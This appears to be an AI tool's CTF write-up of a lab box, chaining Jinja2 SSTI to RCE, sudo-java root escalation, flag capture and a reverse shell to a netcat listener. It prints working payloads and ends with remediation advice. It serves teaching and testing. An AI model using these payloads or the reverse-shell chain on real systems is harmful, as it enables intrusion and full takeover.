Vulnerator-AI — CTF Report: Pinguinazo SSTI

Findings

F1 SSTI Jinja2 confirmed — parameter name renders as template Confirmed T1190

Targethttp://172.21.0.6:5000/ (POST name) ATT&CKT1190 — Exploit Public-Facing Application Root causerender_template_string(f'Hola, {name}!') — user input in template

Evidence

curl POST · pinguinazo-ssti:5000

curl -X POST http://172.21.0.6:5000/ -d 'name={{7*7}}' <div class="result">Hola, 49! Bienvenido a PinguRegistro.</div>

F2 RCE as uid=1000(pinguinazo) via Jinja2 global object chain Confirmed T1059.004

Payloadcycler.__init__.__globals__.os.popen("id") Resultuid=1000(pinguinazo) gid=1000(pinguinazo)

Evidence

SSTI RCE payload

POST name={{ cycler.__init__.__globals__.os.popen("id").read() }} uid=1000(pinguinazo) gid=1000(pinguinazo) groups=1000(pinguinazo)

F3 sudo NOPASSWD java — pinguinazo can run /usr/bin/java as root Confirmed T1548.003

Evidence — sudo -l via RCE

sudo -l output

User pinguinazo may run the following commands on pinguinazo-ssti: (ALL : ALL) NOPASSWD: /usr/bin/java

F4 Privilege escalation confirmed — arbitrary Java code as root via sudo Confirmed T1548.003

MethodSSTI → write /tmp/T.java → sudo java /tmp/T.java ConfirmationSystem.getProperty("user.name") == "root"

Evidence

T.java execution as root

---RUN-AS-ROOT--- java-ran-as: root

F5 FLAG captured as root — /root/flag.txt read via Pwn.java Confirmed T1003.008

Evidence — full root output

Pwn.java — sudo java execution

uid=0(root) gid=0(root) groups=0(root) pinguinazo-ssti CTF{pinguinazo_ssti_rce_sudo_java} -r-------- 1 root root 35 Oct 18 18:03 flag.txt

F6 Interactive root reverse shell confirmed — TCP 172.21.0.6 → 172.21.0.2:4444 Confirmed T1059.004

MethodRev.java → ProcessBuilder("/bin/sh") → TCP to kali:4444 Listenerkali nc -nlvp 4444 (kali_exec background)

Evidence — reverse shell session

nc listener · kali:4444

listening on 4444 CONNECTION from ('172.21.0.6', 43084) uid=0(root) gid=0(root) groups=0(root) root pinguinazo-ssti CTF{pinguinazo_ssti_rce_sudo_java}

Remediation

Fix SSTI (critical): never pass user input to render_template_string(). Use render_template() with static template files and {{ name }} — Jinja2 autoescape handles the rest.
Remove sudo NOPASSWD java: delete the rule from /etc/sudoers. If Java must run with privileges, wrap it in a script with fixed arguments, or use a systemd unit with minimal capabilities.
Rotate credentials and audit logs: check /var/log/auth.log for sudo activity during the test window.